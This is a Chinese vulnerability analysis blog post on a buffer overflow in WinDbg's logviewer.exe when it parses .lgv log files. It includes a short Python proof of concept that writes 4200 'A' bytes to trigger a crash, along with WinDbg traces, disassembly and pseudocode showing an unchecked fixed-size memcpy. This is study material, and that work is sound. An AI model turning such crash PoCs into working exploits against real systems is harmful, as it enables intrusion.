作者: k0shl 转载请注明出处,作者博客:https://whereisk0shl.top
漏洞说明
软件下载:
https://download.csdn.net/download/is2120/8957191
PoC:
#!/usr/bin/python
s = open("log.lgv","w")
poc = "\x41" * 4200
s.write(poc)
s.close()
测试环境:
Windows 7 sp1
漏洞复现
根据exploit-db上的描述,我编写了一个可以触发崩溃的PoC,logviewer.exe是Windbg用于处理调试日志的程序,在此程序处理.lgv格式日志文件的时候存在缓冲区一处漏洞,原因是对文件内容读取时,没有对文件长度进行有效检查,从而导致溢出的发生,下面对此漏洞进行详细分析。
首先打开logviewer,选择生成的PoC,打开之后logviewer发生崩溃,附加调试器,到达漏洞现场。
0:000> g
(cec.514): Access violation - code c0000005 (!!! second chance !!!)
eax=00f640ac ebx=00000000 ecx=0000082b edx=00000000 esi=00f62000 edi=01049e20
eip=77c16fa3 esp=0006fcc8 ebp=0006fcd0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
msvcrt!memcpy+0x33:
77c16fa3 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
可以发现问题出现在memcpy函数中,esi处于一处非法内存,也就是一个堆空间,这片空间没有被初始化。
0:000> dd esi
*** ERROR: Module load completed but symbols could not be loaded for C:\download\WinDbg(x86)\WinDbg(x86)\logviewer.exe
00f62000 ???????? ???????? ???????? ????????
00f62010 ???????? ???????? ???????? ????????
00f62020 ???????? ???????? ???????? ????????
00f62030 ???????? ???????? ???????? ????????
00f62040 ???????? ???????? ???????? ????????
00f62050 ???????? ???????? ???????? ????????
00f62060 ???????? ???????? ???????? ????????
00f62070 ???????? ???????? ???????? ????????
下面通过kb命令看一下堆栈调用。
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0006fcd0 0100e02e 01047e20 00f60000 000040ac msvcrt!memcpy+0x33
0006fd34 0100e243 00170280 00000058 00170280 logviewer+0xe02e
0006fd98 0101326a 00170280 00000000 00000000 logviewer+0xe243
0006fdac 01013a5d 00170280 00000064 00000000 logviewer+0x1326a
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\USER32.dll -
0006fdf4 77d18734 00170280 00000111 00000064 logviewer+0x13a5d
漏洞分析
跟踪0100e02e地址位置的函数调用,往上回溯的过程中,在该函数里发现了一处有意思的call调用。
.text:0100DF2C push 0 ; hTemplateFile
.text:0100DF2E push 10000080h ; dwFlagsAndAttributes
.text:0100DF33 push 3 ; dwCreationDisposition
.text:0100DF35 push 0 ; lpSecurityAttributes
.text:0100DF37 push 1 ; dwShareMode
.text:0100DF39 push 80000000h ; dwDesiredAccess
.text:0100DF3E push offset FileName ; lpFileName
.text:0100DF43 call ds:CreateFileA
在0100DF43位置下断点,重新启动程序,并打开PoC,命中断点。
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=7c92f641 edx=00000007 esi=01013730 edi=0006fe5c
eip=0100df43 esp=0006fcc8 ebp=0006fd34 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
logviewer+0xdf43:
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll -
0100df43 ff1588100001 call dword ptr [logviewer+0x1088 (01001088)] ds:0023:01001088={kernel32!CreateFileA (7c801a28)}
这时候观察一下CreateFileA函数的传参情况。
0:000> dd esp
0006fcc8 0104bf88 80000000 00000001 00000000
0006fcd8 00000003 10000080 00000000 f663c18d
0006fce8 00a53e40 010274d0 00a53e40 00a53e40
0006fcf8 0006fd30 0100d18a 002b015e 010274d0
0006fd08 00000000 00001000 00010000 7ffeffff
0006fd18 00000001 f663c18d 0000024a 00010000
0006fd28 0006fe78 01023c6b ffffffff 0006fd98
0006fd38 0100e243 002b015e 00000058 002b015e
0:000> dc 0104bf88
0104bf88 445c3a43 6d75636f 73746e65 646e6120 C:\Documents and
0104bf98 74655320 676e6974 64415c73 696e696d Settings\Admini
0104bfa8 61727473 5c726f74 e6c3c0d7 676f6c5c strator\....\log
0104bfb8 76676c2e 00000000 00000000 00000000 .lgv............
可以看到,这里获取的正是PoC的文件,接下来继续跟踪代码执行。
0:000> p
eax=000001e8 ebx=00000000 ecx=7c93003d edx=01c90002 esi=01013730 edi=0006fe5c
eip=0100df49 esp=0006fce4 ebp=0006fd34 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
logviewer+0xdf49:
0100df49 a3107a0401 mov dword ptr [logviewer+0x47a10 (01047a10)],eax ds:0023:01047a10=ffffffff
0:000> p
eax=000001e8 ebx=00000000 ecx=7c93003d edx=01c90002 esi=01013730 edi=0006fe5c
eip=0100df4e esp=0006fce4 ebp=0006fd34 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
logviewer+0xdf4e:
0100df4e 833d107a0401ff cmp dword ptr [logviewer+0x47a10 (01047a10)],0FFFFFFFFh ds:0023:01047a10=000001e8
0:000> p
eax=000001e8 ebx=00000000 ecx=7c93003d edx=01c90002 esi=01013730 edi=0006fe5c
eip=0100df55 esp=0006fce4 ebp=0006fd34 iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000213
logviewer+0xdf55:
0100df55 7517 jne logviewer+0xdf6e (0100df6e) [br=1]
0:000> p
eax=000001e8 ebx=00000000 ecx=7c93003d edx=01c90002 esi=01013730 edi=0006fe5c
eip=0100df6e esp=0006fce4 ebp=0006fd34 iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000213
logviewer+0xdf6e:
0100df6e 6a00 push 0
在上述汇编代码中执行了一次判断,然后跳转的操作,在CreateFile之后,可见会对这个文件进行一次初步的判断,返回文件句柄,如果句柄存在,则会进入接下来的代码执行,通过IDA观察0100df6e地址的上下文。
.text:0100DF6E loc_100DF6E: ; CODE XREF: sub_100DE60+F5j
.text:0100DF6E push 0 ; lpFileSizeHigh
.text:0100DF70 mov edx, hFile
.text:0100DF76 push edx ; hFile
.text:0100DF77 call ds:GetFileSize
在loc_100df6e块中,执行了一处GetFileSize,会获取文件大小,看一下获取文件的过程。
0:000> p
eax=000001e8 ebx=00000000 ecx=7c93003d edx=000001e8 esi=01013730 edi=0006fe5c
eip=0100df77 esp=0006fcdc ebp=0006fd34 iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000213
logviewer+0xdf77:
0100df77 ff155c100001 call dword ptr [logviewer+0x105c (0100105c)] ds:0023:0100105c={kernel32!GetFileSize (7c810b07)}
0:000> p
eax=00001068 ebx=00000000 ecx=00000000 edx=7c92e4f4 esi=01013730 edi=0006fe5c
eip=0100df7d esp=0006fce4 ebp=0006fd34 iopl=0 nv up ei pl nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000217
logviewer+0xdf7d:
0100df7d 8945f0 mov dword ptr [ebp-10h],eax ss:0023:0006fd24=00010000
看一下在调用结束后,eax的值变成了1068,转换成十进制就是4200,正是PoC的大小,接下来继续单步跟踪。
0:000> p
eax=00001068 ebx=00000000 ecx=00000000 edx=7c92e4f4 esi=01013730 edi=0006fe5c
eip=0100df80 esp=0006fce4 ebp=0006fd34 iopl=0 nv up ei pl nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000217
logviewer+0xdf80:
0100df80 837df0ff cmp dword ptr [ebp-10h],0FFFFFFFFh ss:0023:0006fd24=00001068
0:000> p
eax=00001068 ebx=00000000 ecx=00000000 edx=7c92e4f4 esi=01013730 edi=0006fe5c
eip=0100df84 esp=0006fce4 ebp=0006fd34 iopl=0 nv up ei pl nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000217
logviewer+0xdf84:
0100df84 7519 jne logviewer+0xdf9f (0100df9f) [br=1]
0:000> p
eax=00001068 ebx=00000000 ecx=00000000 edx=7c92e4f4 esi=01013730 edi=0006fe5c
eip=0100df9f esp=0006fce4 ebp=0006fd34 iopl=0 nv up ei pl nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000217
logviewer+0xdf9f:
0100df9f 6a00 push 0
继续跳转,仍然是判断刚才获取文件大小是否成功,成功后会调转到0100df9f地址位置,通过IDA看一下。
.text:0100DF9F loc_100DF9F: ; CODE XREF: sub_100DE60+124j
.text:0100DF9F push 0 ; lpName
.text:0100DFA1 push 0 ; dwMaximumSizeLow
.text:0100DFA3 push 0 ; dwMaximumSizeHigh
.text:0100DFA5 push 2 ; flProtect
.text:0100DFA7 push 0 ; lpFileMappingAttributes
.text:0100DFA9 mov eax, hFile
.text:0100DFAE push eax ; hFile
.text:0100DFAF call ds:CreateFileMappingA
这里在loc_100df9f块会调用CreateFileMappingA函数,这个函数会创建一个文件的内核映像,单步跟踪。
0:000> p
eax=000001e8 ebx=00000000 ecx=7c93003d edx=000001e8 esi=01013730 edi=0006fe5c
eip=0100df77 esp=0006fcdc ebp=0006fd34 iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000213
logviewer+0xdf77:
0100df77 ff155c100001 call dword ptr [logviewer+0x105c (0100105c)] ds:0023:0100105c={kernel32!GetFileSize (7c810b07)}
0:000> p
eax=00001068 ebx=00000000 ecx=00000000 edx=7c92e4f4 esi=01013730 edi=0006fe5c
eip=0100df7d esp=0006fce4 ebp=0006fd34 iopl=0 nv up ei pl nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000217
logviewer+0xdf7d:
0100df7d 8945f0 mov dword ptr [ebp-10h],eax ss:0023:0006fd24=00010000
执行完毕后仍然是判断是否成功,并跳转。
0:000> p
eax=00001068 ebx=00000000 ecx=00000000 edx=7c92e4f4 esi=01013730 edi=0006fe5c
eip=0100df80 esp=0006fce4 ebp=0006fd34 iopl=0 nv up ei pl nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000217
logviewer+0xdf80:
0100df80 837df0ff cmp dword ptr [ebp-10h],0FFFFFFFFh ss:0023:0006fd24=00001068
0:000> p
eax=00001068 ebx=00000000 ecx=00000000 edx=7c92e4f4 esi=01013730 edi=0006fe5c
eip=0100df84 esp=0006fce4 ebp=0006fd34 iopl=0 nv up ei pl nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000217
logviewer+0xdf84:
0100df84 7519 jne logviewer+0xdf9f (0100df9f) [br=1]
0:000> p
eax=00001068 ebx=00000000 ecx=00000000 edx=7c92e4f4 esi=01013730 edi=0006fe5c
eip=0100df9f esp=0006fce4 ebp=0006fd34 iopl=0 nv up ei pl nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000217
logviewer+0xdf9f:
0100df9f 6a00 push 0
然后到了一处很关键的调用。
0:000> p
eax=000001ec ebx=00000000 ecx=0006fc3c edx=7c92e4f4 esi=01013730 edi=0006fe5c
eip=0100dfdb esp=0006fcd8 ebp=0006fd34 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
logviewer+0xdfdb:
0100dfdb 6a04 push 4
0:000> p
eax=000001ec ebx=00000000 ecx=0006fc3c edx=7c92e4f4 esi=01013730 edi=0006fe5c
eip=0100dfdd esp=0006fcd4 ebp=0006fd34 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
logviewer+0xdfdd:
0100dfdd 8b0d147a0401 mov ecx,dword ptr [logviewer+0x47a14 (01047a14)] ds:0023:01047a14=000001ec
0:000> p
eax=000001ec ebx=00000000 ecx=000001ec edx=7c92e4f4 esi=01013730 edi=0006fe5c
eip=0100dfe3 esp=0006fcd4 ebp=0006fd34 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
logviewer+0xdfe3:
0100dfe3 51 push ecx
0:000> p
eax=000001ec ebx=00000000 ecx=000001ec edx=7c92e4f4 esi=01013730 edi=0006fe5c
eip=0100dfe4 esp=0006fcd0 ebp=0006fd34 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
logviewer+0xdfe4:
0100dfe4 ff1554100001 call dword ptr [logviewer+0x1054 (01001054)] ds:0023:01001054={kernel32!MapViewOfFile (7c80b995)}
0:000> p
eax=00f60000 ebx=00000000 ecx=0006fc70 edx=7c92e4f4 esi=01013730 edi=0006fe5c
eip=0100dfea esp=0006fce4 ebp=0006fd34 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
logviewer+0xdfea:
0100dfea a3187a0401 mov dword ptr [logviewer+0x47a18 (01047a18)],eax ds:0023:01047a18=00000000
0100dfe4位置会调用MapViewOfFile来映射文件,这个过程会对文件内容进行获取,在执行完毕后,观察一下eax的地址里的值。
0:000> dc eax
00f60000 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00f60010 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00f60020 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00f60030 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00f60040 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00f60050 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00f60060 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00f60070 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
已经读取到这个位置的值,接下来继续执行。
0:000> p
eax=00f60000 ebx=00000000 ecx=0006fc70 edx=00f61068 esi=01013730 edi=0006fe5c
eip=0100e01e esp=0006fce0 ebp=0006fd34 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
logviewer+0xe01e:
0100e01e a1187a0401 mov eax,dword ptr [logviewer+0x47a18 (01047a18)] ds:0023:01047a18=00f60000
0:000> p
eax=00f60000 ebx=00000000 ecx=0006fc70 edx=00f61068 esi=01013730 edi=0006fe5c
eip=0100e023 esp=0006fce0 ebp=0006fd34 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
logviewer+0xe023:
0100e023 50 push eax
0:000> p
eax=00f60000 ebx=00000000 ecx=0006fc70 edx=00f61068 esi=01013730 edi=0006fe5c
eip=0100e024 esp=0006fcdc ebp=0006fd34 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
logviewer+0xe024:
0100e024 68207e0401 push offset logviewer+0x47e20 (01047e20)
0:000> p
eax=00f60000 ebx=00000000 ecx=0006fc70 edx=00f61068 esi=01013730 edi=0006fe5c
eip=0100e029 esp=0006fcd8 ebp=0006fd34 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
logviewer+0xe029:
0100e029 e846870000 call logviewer+0x16774 (01016774)
在0100e029位置会调用memcpy操作,而memcpy操作的参数是
Breakpoint 0 hit
eax=00f60000 ebx=00000000 ecx=0006fc70 edx=00f62710 esi=01013730 edi=0006fe5c
eip=0100e029 esp=0006fcd8 ebp=0006fd34 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
logviewer+0xe029:
0100e029 e846870000 call logviewer+0x16774 (01016774)
0:000> dd esp
0006fcd8 01047e20 00f60000 000040ac a25d8020
0006fce8 00a53e40 010274d0 00a53e40 00a53e40
0006fcf8 0006fd30 0100d18a 000b015c 010274d0
0006fd08 00000000 00001000 00010000 7ffeffff
0006fd18 00000001 a25d8020 0000024a 00002710
0006fd28 0006fe78 01023c6b ffffffff 0006fd98
0006fd38 0100e243 000b015c 00000058 000b015c
0006fd48 00000000 01001f80 00000000 00000000
0:000> dc 00f60000
00f60000 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00f60010 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00f60020 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00f60030 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00f60040 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00f60050 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00f60060 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00f60070 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
正是畸形字符串,来看一下伪代码。
int __stdcall sub_100DE60(HWND hwnd)
{
int v2; // [sp+4h] [bp-4Ch]@4
SCROLLINFO v3; // [sp+1Ch] [bp-34h]@20
int v4; // [sp+3Ch] [bp-14h]@16
DWORD v5; // [sp+40h] [bp-10h]@10
int v6; // [sp+4Ch] [bp-4h]@3
if ( dword_1047E1C )
(**(void (__thiscall ***)(_DWORD, _DWORD))dword_1047E1C)(dword_1047E1C, 1);
v6 = 0;
if ( operator new(0x54u) )
v2 = sub_10032F0("Thrd");
else
v2 = 0;
v6 = -1;
dword_1047E1C = v2;
if ( !v2 )
{
sub_100AEC0("OnNewLogFile: Failed to allocate memory\n");
return 0;
}
sub_100DD70();
hFile = CreateFileA(&FileName, 0x80000000, 1u, 0, 3u, 0x10000080u, 0);
if ( hFile == (HANDLE)-1 )
{
sub_100AEC0("Cannot open the log file: \"%s\"\n");
LABEL_22:
sub_100AEC0("OnNewLogFile failed. File: '%s'");
sub_100DD70();
return 0;
}
v5 = GetFileSize(hFile, 0);
if ( v5 == -1 )
{
GetLastError();
sub_100AEC0("GetFileSize failed. status 0x%x\n");
goto LABEL_22;
}
hFileMappingObject = CreateFileMappingA(hFile, 0, 2u, 0, 0, 0);
if ( !hFileMappingObject )
{
sub_100AEC0("CreateFileMapping failed\n");
goto LABEL_22;
}
Src = MapViewOfFile(hFileMappingObject, 4u, 0, 0, 0);
if ( !Src )
{
sub_100AEC0("MapViewOfFile failed\n");
goto LABEL_22;
}
dword_1047A1C = (int)Src + v5;
memcpy(&unk_1047E20, Src, 0x40ACu);
可以看到,最后memcpy拷贝的Src,Src获取正是上面获取到的,而在MapViewOfFile之后并没有对Src内容进行检查,从而导致了缓冲区溢出的发生。